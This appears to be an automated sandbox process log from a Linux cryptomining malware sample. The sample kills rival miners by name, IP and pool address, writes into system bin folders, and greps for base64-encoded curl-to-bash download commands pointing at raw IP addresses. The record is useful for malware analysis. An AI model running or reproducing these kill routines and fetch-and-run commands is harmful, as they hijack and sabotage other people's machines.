/usr/bin/awkawk "{print \$2}"2⤵PID:582
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:583
-
/bin/grepgrep BtwXn5qH2⤵PID:581
-
/bin/grepgrep -v grep2⤵PID:580
-
/bin/psps aux2⤵PID:579
-
/bin/grepgrep -v grep2⤵PID:585
-
/usr/bin/awkawk "{print \$2}"2⤵PID:587
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:584 -
/bin/grepgrep 3XEzey2T2⤵PID:586
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:588
-
/usr/bin/awkawk "{print \$2}"2⤵PID:592
-
/bin/grepgrep t2tKrCSZ2⤵PID:591
-
/bin/grepgrep -v grep2⤵PID:590
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:589 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:593
-
/bin/grepgrep svc2⤵PID:596
-
/bin/grepgrep -v grep2⤵PID:595
-
/bin/psps aux2⤵PID:594
-
/usr/bin/awkawk "{print \$2}"2⤵PID:597
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:598
-
/usr/bin/awkawk "{print \$2}"2⤵PID:602
-
/bin/grepgrep HD7fcBgg2⤵PID:601
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:603
-
/bin/grepgrep -v grep2⤵PID:600
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:599 -
/bin/grepgrep zXcDajSs2⤵PID:606
-
/usr/bin/awkawk "{print \$2}"2⤵PID:607
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:608
-
/bin/grepgrep -v grep2⤵PID:605
-
/bin/psps aux2⤵
- Reads runtime system information
PID:604 -
/bin/grepgrep 3lmigMo2⤵PID:611
-
/bin/grepgrep -v grep2⤵PID:610
-
/bin/psps aux2⤵PID:609
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:613
-
/usr/bin/awkawk "{print \$2}"2⤵PID:612
-
/usr/bin/awkawk "{print \$2}"2⤵PID:617
-
/bin/grepgrep AkMK4A22⤵PID:616
-
/bin/grepgrep -v grep2⤵PID:615
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:618
-
/bin/psps aux2⤵PID:614
-
/bin/grepgrep -v grep2⤵PID:620
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:619 -
/usr/bin/awkawk "{print \$2}"2⤵PID:622
-
/bin/grepgrep AJ2AkKe2⤵PID:621
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:623
-
/usr/bin/awkawk "{print \$2}"2⤵PID:627
-
/bin/grepgrep HiPxCJRS2⤵PID:626
-
/bin/grepgrep -v grep2⤵PID:625
-
/bin/psps aux2⤵PID:624
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:628
-
/bin/grepgrep http_0xCC0302⤵PID:631
-
/bin/grepgrep -v grep2⤵PID:630
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:629 -
/usr/bin/awkawk "{print \$2}"2⤵PID:632
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:633
-
/usr/bin/awkawk "{print \$2}"2⤵PID:637
-
/bin/grepgrep http_0xCC0312⤵PID:636
-
/bin/grepgrep -v grep2⤵PID:635
-
/bin/psps aux2⤵PID:634
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:638
-
/bin/grepgrep -v grep2⤵PID:640
-
/bin/psps aux2⤵
- Reads runtime system information
PID:639 -
/bin/grepgrep http_0xCC0322⤵PID:641
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:643
-
/usr/bin/awkawk "{print \$2}"2⤵PID:642
-
/bin/grepgrep -v grep2⤵PID:645
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:648
-
/usr/bin/awkawk "{print \$2}"2⤵PID:647
-
/bin/grepgrep http_0xCC0332⤵PID:646
-
/bin/psps aux2⤵PID:644
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:649 -
/bin/grepgrep -v grep2⤵PID:650
-
/usr/bin/awkawk "{print \$2}"2⤵PID:652
-
/bin/grepgrep C4iLM4L2⤵PID:651
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:653
-
/bin/grepgrep -v grep2⤵PID:655
-
/bin/psps aux2⤵PID:654
-
/usr/bin/awkawk "{print \$2}"2⤵PID:657
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:658
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:656
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:662
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:661
-
/bin/grepgrep -v grep2⤵PID:660
-
/bin/psps aux2⤵PID:659
-
/bin/grepgrep /boot/vmlinuz2⤵PID:665
-
/bin/grepgrep -v grep2⤵PID:664
-
/bin/psps aux2⤵PID:663
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:667
-
/usr/bin/awkawk "{print \$2}"2⤵PID:666
-
/usr/bin/awkawk "{print \$2}"2⤵PID:671
-
/bin/grepgrep i4b503a52cc52⤵PID:670
-
/bin/grepgrep -v grep2⤵PID:669
-
/bin/psps aux2⤵
- Reads runtime system information
PID:668 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:672
-
/bin/psps aux2⤵PID:673
-
/bin/grepgrep -v grep2⤵PID:674
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:675
-
/usr/bin/awkawk "{print \$2}"2⤵PID:676
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:677
-
/usr/bin/awkawk "{print \$2}"2⤵PID:681
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:680
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:682
-
/bin/grepgrep -v grep2⤵PID:679
-
/bin/psps aux2⤵
- Reads runtime system information
PID:678 -
/bin/grepgrep -v grep2⤵PID:684
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:683 -
/bin/grepgrep nqscheduler2⤵PID:685
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:687
-
/usr/bin/awkawk "{print \$2}"2⤵PID:686
-
/bin/grepgrep -v grep2⤵PID:689
-
/bin/psps aux2⤵
- Reads runtime system information
PID:688 -
/usr/bin/awkawk "{print \$2}"2⤵PID:691
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:692
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:690
-
/bin/grepgrep -v aux2⤵PID:695
-
/bin/grepgrep -v grep2⤵PID:694
-
/bin/psps aux2⤵PID:693
-
/bin/grepgrep "]"2⤵PID:696
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:697
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:698
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:701
-
/bin/grepgrep -v grep2⤵PID:700
-
/bin/psps aux2⤵PID:699
-
/usr/bin/awkawk "{print \$2}"2⤵PID:702
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:703
-
/bin/grepgrep -v grep2⤵PID:705
-
/bin/grepgrep 0kwti6ut420t2⤵PID:706
-
/usr/bin/awkawk "{print \$2}"2⤵PID:707
-
/bin/psps aux2⤵
- Reads runtime system information
PID:704 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:708
-
/usr/bin/awkawk "{print \$2}"2⤵PID:712
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:711
-
/bin/grepgrep -v grep2⤵PID:710
-
/bin/psps aux2⤵PID:709
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:713
-
/bin/grepgrep -v -2⤵PID:717
-
/bin/grepgrep -v /2⤵PID:716
-
/bin/grepgrep -v grep2⤵PID:715
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:714 -
/bin/grepgrep -v _2⤵PID:718
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:720
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:719
-
/usr/bin/awkawk "{print \$2}"2⤵PID:724
-
/bin/grepgrep "\\[^"2⤵PID:723
-
/bin/grepgrep -v grep2⤵PID:722
-
/bin/psps aux2⤵PID:721
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:725
-
/bin/psps aux2⤵PID:726
-
/usr/bin/awkawk "{print \$2}"2⤵PID:729
-
/bin/grepgrep rsync2⤵PID:728
-
/bin/grepgrep -v grep2⤵PID:727
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:730
-
/bin/grepgrep watchd0g2⤵PID:733
-
/bin/grepgrep -v grep2⤵PID:732
-
/bin/psps aux2⤵PID:731
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:735
-
/usr/bin/awkawk "{print \$2}"2⤵PID:734
-
/bin/grepgrep -v grep2⤵PID:737
-
/bin/psps aux2⤵PID:736
-
/usr/bin/awkawk "{print \$2}"2⤵PID:739
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:740
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
- Writes file to system bin folder
PID:738 -
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:738
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:738
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:738
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:738
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:738
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:738
-
/bin/grepgrep -v grep2⤵PID:742
-
/bin/grepgrep 158.69.133.18:82202⤵PID:743
-
/usr/bin/awkawk "{print \$2}"2⤵PID:744
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:745
-
/bin/psps aux2⤵PID:741
-
/usr/bin/awkawk "{print \$2}"2⤵PID:749
-
/bin/grepgrep /tmp/java2⤵PID:748
-
/bin/grepgrep -v grep2⤵PID:747
-
/bin/psps aux2⤵PID:746
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:750
-
/usr/bin/awkawk "{print \$2}"2⤵PID:754
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:755
-
/bin/grepgrep gitee.com2⤵PID:753
-
/bin/psps aux2⤵PID:751
-
/bin/grepgrep -v grep2⤵PID:752
-
/bin/grepgrep -v grep2⤵PID:757
-
/usr/bin/awkawk "{print \$2}"2⤵PID:759
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:756 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:760
-
/bin/grepgrep /tmp/java2⤵PID:758
-
/bin/grepgrep 104.248.4.1622⤵PID:763
-
/bin/grepgrep -v grep2⤵PID:762
-
/bin/psps aux2⤵PID:761
-
/usr/bin/awkawk "{print \$2}"2⤵PID:764
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:765
-
/bin/grepgrep 89.35.39.782⤵PID:768
-
/bin/grepgrep -v grep2⤵PID:767
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:766 -
/usr/bin/awkawk "{print \$2}"2⤵PID:769
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:770
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:775
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:773
-
/bin/grepgrep -v grep2⤵PID:772
-
/bin/psps aux2⤵PID:771
-
/usr/bin/awkawk "{print \$2}"2⤵PID:774
-
/bin/grepgrep kthrotlds2⤵PID:778
-
/bin/grepgrep -v grep2⤵PID:777
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:776 -
/usr/bin/awkawk "{print \$2}"2⤵PID:779
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:780
-
/bin/grepgrep ksoftirqds2⤵PID:783
-
/usr/bin/awkawk "{print \$2}"2⤵PID:784
-
/bin/grepgrep -v grep2⤵PID:782
-
/bin/psps aux2⤵PID:781
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:785
-
/bin/grepgrep -v grep2⤵PID:787
-
/bin/grepgrep netdns2⤵PID:788
-
/bin/psps aux2⤵PID:786
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:790
-
/usr/bin/awkawk "{print \$2}"2⤵PID:789
-
/bin/grepgrep -v grep2⤵PID:792
-
/bin/psps aux2⤵
- Reads runtime system information
PID:791 -
/usr/bin/awkawk "{print \$2}"2⤵PID:794
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:795
-
/bin/grepgrep watchdogs2⤵PID:793
-
/bin/grepgrep -v grep2⤵PID:797
-
/bin/psps aux2⤵PID:796
-
/bin/grepgrep kdevtmpfsi2⤵PID:798
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:800
-
/usr/bin/awkawk "{print \$2}"2⤵PID:799
-
/usr/bin/awkawk "{print \$2}"2⤵PID:804
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:805
-
/bin/grepgrep kinsing2⤵PID:803
-
/bin/psps aux2⤵
- Reads runtime system information
PID:801 -
/bin/grepgrep -v grep2⤵PID:802
-
/usr/bin/awkawk "{print \$2}"2⤵PID:809
-
/bin/grepgrep redis22⤵PID:808
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:810
-
/bin/psps aux2⤵PID:806
-
/bin/grepgrep -v grep2⤵PID:807
-
/bin/grepgrep -v grep2⤵PID:812
-
/bin/grepgrep -v aux2⤵PID:813
-
/bin/psps aux2⤵PID:811
-
/bin/grepgrep " ps"2⤵PID:814
-
/usr/bin/awkawk "{print \$2}"2⤵PID:815
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:816
-
/bin/grepgrep -v grep2⤵PID:818
-
/bin/psps aux2⤵PID:817
-
/bin/grepgrep sync_supers2⤵PID:819
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:821
-
/usr/bin/cutcut -c 9-152⤵PID:820
-
/bin/grepgrep cpuset2⤵PID:824
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:826
-
/bin/grepgrep -v grep2⤵PID:823
-
/bin/psps aux2⤵PID:822
-
/usr/bin/cutcut -c 9-152⤵PID:825
-
/bin/grepgrep "x]"2⤵PID:830
-
/bin/grepgrep -v aux2⤵PID:829
-
/bin/grepgrep -v grep2⤵PID:828
-
/bin/psps aux2⤵PID:827
-
/usr/bin/awkawk "{print \$2}"2⤵PID:831
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:832
-
/bin/grepgrep -v grep2⤵PID:834
-
/bin/psps aux2⤵
- Reads runtime system information
PID:833 -
/bin/grepgrep -v aux2⤵PID:835
-
/bin/grepgrep "sh] <"2⤵PID:836
-
/usr/bin/awkawk "{print \$2}"2⤵PID:837
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:838
-
/bin/grepgrep -v aux2⤵PID:841
-
/bin/grepgrep -v grep2⤵PID:840
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:839 -
/usr/bin/awkawk "{print \$2}"2⤵PID:843
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:844
-
/bin/grepgrep " \\[]"2⤵PID:842
-
/usr/bin/awkawk "{print \$2}"2⤵PID:848
-
/bin/grepgrep /tmp/l.sh2⤵PID:847
-
/bin/psps aux2⤵PID:845
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:849
-
/bin/grepgrep -v grep2⤵PID:846
-
/bin/grepgrep /tmp/zmcat2⤵PID:852
-
/bin/grepgrep -v grep2⤵PID:851
-
/bin/psps aux2⤵PID:850
-
/usr/bin/awkawk "{print \$2}"2⤵PID:853
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:854
-
/usr/bin/awkawk "{print \$2}"2⤵PID:858
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:859
-
/bin/grepgrep hahwNEdB2⤵PID:857
-
/bin/grepgrep -v grep2⤵PID:856
-
/bin/psps aux2⤵PID:855
-
/bin/grepgrep CnzFVPLF2⤵PID:862
-
/usr/bin/awkawk "{print \$2}"2⤵PID:863
-
/bin/grepgrep -v grep2⤵PID:861
-
/bin/psps aux2⤵
- Reads runtime system information
PID:860 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:864
-
/usr/bin/awkawk "{print \$2}"2⤵PID:868
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:869
-
/bin/grepgrep CvKzzZLs2⤵PID:867
-
/bin/grepgrep -v grep2⤵PID:866
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:865 -
/bin/grepgrep aziplcr72qjhzvin2⤵PID:872
-
/bin/grepgrep -v grep2⤵PID:871
-
/bin/psps aux2⤵PID:870
-
/usr/bin/awkawk "{print \$2}"2⤵PID:873
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:874
-
/bin/grepgrep /tmp/udevd2⤵PID:877
-
/bin/grepgrep -v grep2⤵PID:876
-
/bin/psps aux2⤵PID:875
-
/usr/bin/awkawk "{print \$2}"2⤵PID:878
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:879
-
/usr/bin/awkawk "{print \$2}"2⤵PID:883
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:882
-
/bin/grepgrep -v grep2⤵PID:881
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:880 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:884
-
/bin/grepgrep -v grep2⤵PID:886
-
/bin/psps aux2⤵PID:885
-
/usr/bin/awkawk "{print \$2}"2⤵PID:888
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:889
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:887
-
/bin/grepgrep -v grep2⤵PID:891
-
/usr/bin/awkawk "{print \$2}"2⤵PID:893
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:890 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:894
-
/bin/grepgrep sustse2⤵PID:892
-
/usr/bin/awkawk "{print \$2}"2⤵PID:898
-
/bin/grepgrep sustse32⤵PID:897
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:899
-
/bin/grepgrep -v grep2⤵PID:896
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:895 -
/bin/grepgrep -v grep2⤵PID:901
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:900 -
/bin/grepgrep wget2⤵PID:903
-
/bin/grepgrep mr.sh2⤵PID:902
-
/usr/bin/awkawk "{print \$2}"2⤵PID:904
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:905
-
/bin/grepgrep -v grep2⤵PID:907
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:906 -
/bin/grepgrep mr.sh2⤵PID:908
-
/usr/bin/awkawk "{print \$2}"2⤵PID:910
-
/bin/grepgrep curl2⤵PID:909
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:911
-
/bin/grepgrep wget2⤵PID:915
-
/bin/grepgrep 2mr.sh2⤵PID:914
-
/bin/grepgrep -v grep2⤵PID:913
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:912 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:917
-
/usr/bin/awkawk "{print \$2}"2⤵PID:916
-
/bin/grepgrep -v grep2⤵PID:919
-
/bin/psps aux2⤵PID:918
-
/bin/grepgrep 2mr.sh2⤵PID:920
-
/bin/grepgrep curl2⤵PID:921
-
/usr/bin/awkawk "{print \$2}"2⤵PID:922
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:923
-
/bin/grepgrep cr5.sh2⤵PID:926
-
/usr/bin/awkawk "{print \$2}"2⤵PID:928
-
/bin/grepgrep -v grep2⤵PID:925
-
/bin/psps aux2⤵PID:924
-
/bin/grepgrep wget2⤵PID:927
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:929
-
/usr/bin/awkawk "{print \$2}"2⤵PID:934
-
/bin/grepgrep curl2⤵PID:933
-
/bin/grepgrep cr5.sh2⤵PID:932
-
/bin/psps aux2⤵
- Reads runtime system information
PID:930 -
/bin/grepgrep -v grep2⤵PID:931
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:935
-
/bin/grepgrep wget2⤵PID:939
-
/bin/grepgrep logo9.jpg2⤵PID:938
-
/bin/grepgrep -v grep2⤵PID:937
-
/bin/psps aux2⤵
- Reads runtime system information
PID:936 -
/usr/bin/awkawk "{print \$2}"2⤵PID:940
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:941
-
/bin/grepgrep -v grep2⤵PID:943
-
/bin/grepgrep logo9.jpg2⤵PID:944
-
/bin/grepgrep curl2⤵PID:945
-
/usr/bin/awkawk "{print \$2}"2⤵PID:946
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:947
-
/bin/psps aux2⤵PID:942
-
/bin/grepgrep -v grep2⤵PID:949
-
/bin/grepgrep j2.conf2⤵PID:950
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:948 -
/usr/bin/awkawk "{print \$2}"2⤵PID:951
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:952
-
/bin/grepgrep wget2⤵PID:956
-
/bin/grepgrep luk-cpu2⤵PID:955
-
/bin/grepgrep -v grep2⤵PID:954
-
/bin/psps aux2⤵
- Reads runtime system information
PID:953 -
/usr/bin/awkawk "{print \$2}"2⤵PID:957
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:958
-
/bin/grepgrep -v grep2⤵PID:960
-
/bin/grepgrep luk-cpu2⤵PID:961
-
/bin/grepgrep curl2⤵PID:962
-
/usr/bin/awkawk "{print \$2}"2⤵PID:963
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:959 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:964
-
/bin/grepgrep ficov2⤵PID:967
-
/bin/grepgrep -v grep2⤵PID:966
-
/bin/psps aux2⤵PID:965
-
/usr/bin/awkawk "{print \$2}"2⤵PID:969
-
/bin/grepgrep wget2⤵PID:968
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:970
-
/bin/grepgrep ficov2⤵PID:973
-
/bin/grepgrep -v grep2⤵PID:972
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:971 -
/bin/grepgrep curl2⤵PID:974
-
/usr/bin/awkawk "{print \$2}"2⤵PID:975
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:976
-
/bin/grepgrep wget2⤵PID:980
-
/bin/grepgrep he.sh2⤵PID:979
-
/usr/bin/awkawk "{print \$2}"2⤵PID:981
-
/bin/grepgrep -v grep2⤵PID:978
-
/bin/psps aux2⤵PID:977
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:982
-
/bin/grepgrep -v grep2⤵PID:984
-
/bin/psps aux2⤵PID:983
-
/bin/grepgrep he.sh2⤵PID:985
-
/bin/grepgrep curl2⤵PID:986
-
/usr/bin/awkawk "{print \$2}"2⤵PID:987
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:988
-
/bin/grepgrep miner.sh2⤵PID:991
-
/bin/grepgrep -v grep2⤵PID:990
-
/bin/psps aux2⤵PID:989
-
/bin/grepgrep wget2⤵PID:992
-
/usr/bin/awkawk "{print \$2}"2⤵PID:993
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:994
-
/bin/grepgrep curl2⤵PID:998
-
/bin/grepgrep miner.sh2⤵PID:997
-
/usr/bin/awkawk "{print \$2}"2⤵PID:999
-
/bin/psps aux2⤵PID:995
-
/bin/grepgrep -v grep2⤵PID:996
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1000
-
/bin/grepgrep wget2⤵PID:1004
-
/bin/grepgrep nullcrew2⤵PID:1003
-
/bin/psps aux2⤵PID:1001
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1005
-
/bin/grepgrep -v grep2⤵PID:1002
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1006
-
/bin/grepgrep curl2⤵PID:1010
-
/bin/grepgrep nullcrew2⤵PID:1009
-
/bin/grepgrep -v grep2⤵PID:1008
-
/bin/psps aux2⤵PID:1007
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1012
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1011
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1016
-
/bin/grepgrep 107.174.47.1562⤵PID:1015
-
/bin/grepgrep -v grep2⤵PID:1014
-
/bin/psps aux2⤵PID:1013
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1017
-
/bin/grepgrep 83.220.169.2472⤵PID:1020
-
/bin/grepgrep -v grep2⤵PID:1019
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1021
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1022
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1018 -
/bin/grepgrep -v grep2⤵PID:1024
-
/bin/grepgrep 51.38.203.1462⤵PID:1025
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1026
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1027
-
/bin/psps aux2⤵PID:1023
-
/bin/grepgrep -v grep2⤵PID:1029
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1028 -
/bin/grepgrep 144.217.45.452⤵PID:1030
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1031
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1032
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1036
-
/bin/grepgrep 107.174.47.1812⤵PID:1035
-
/bin/grepgrep -v grep2⤵PID:1034
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1033 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1037
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1041
-
/bin/grepgrep 176.31.6.162⤵PID:1040
-
/bin/grepgrep -v grep2⤵PID:1039
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1038 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1042
-
/bin/grepgrep -v grep2⤵PID:1044
-
/bin/psps auxf2⤵PID:1043
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1046
-
/bin/grepgrep mine.moneropool.com2⤵PID:1045
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1047
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1051
-
/bin/grepgrep pool.t00ls.ru2⤵PID:1050
-
/bin/grepgrep -v grep2⤵PID:1049
-
/bin/psps auxf2⤵PID:1048
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1052
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1056
-
/bin/grepgrep xmr.crypto-pool.fr:80802⤵PID:1055
-
/bin/grepgrep -v grep2⤵PID:1054
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1053 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1057
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1061
-
/bin/grepgrep xmr.crypto-pool.fr:33332⤵PID:1060
-
/bin/grepgrep -v grep2⤵PID:1059
-
/bin/psps auxf2⤵PID:1058
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1062
-
/bin/grepgrep -v grep2⤵PID:1064
-
/bin/psps auxf2⤵PID:1063
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1066
-
/bin/grepPID:1065
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1067
-
/bin/grepgrep monerohash.com2⤵PID:1070
-
/bin/grepgrep -v grep2⤵PID:1069
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1071
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1072
-
/bin/psps auxf2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1068 -
/bin/grepgrep -v grep2⤵PID:1074
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1073 -
/bin/grepgrep /tmp/a7b104c2702⤵PID:1075
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1076
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1077
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1081
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1082
-
/bin/grepgrep xmr.crypto-pool.fr:66662⤵PID:1080
-
/bin/grepgrep -v grep2⤵PID:1079
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1078 -
/bin/grepgrep -v grep2⤵PID:1084
-
/bin/grepgrep xmr.crypto-pool.fr:77772⤵PID:1085
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1087
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1086
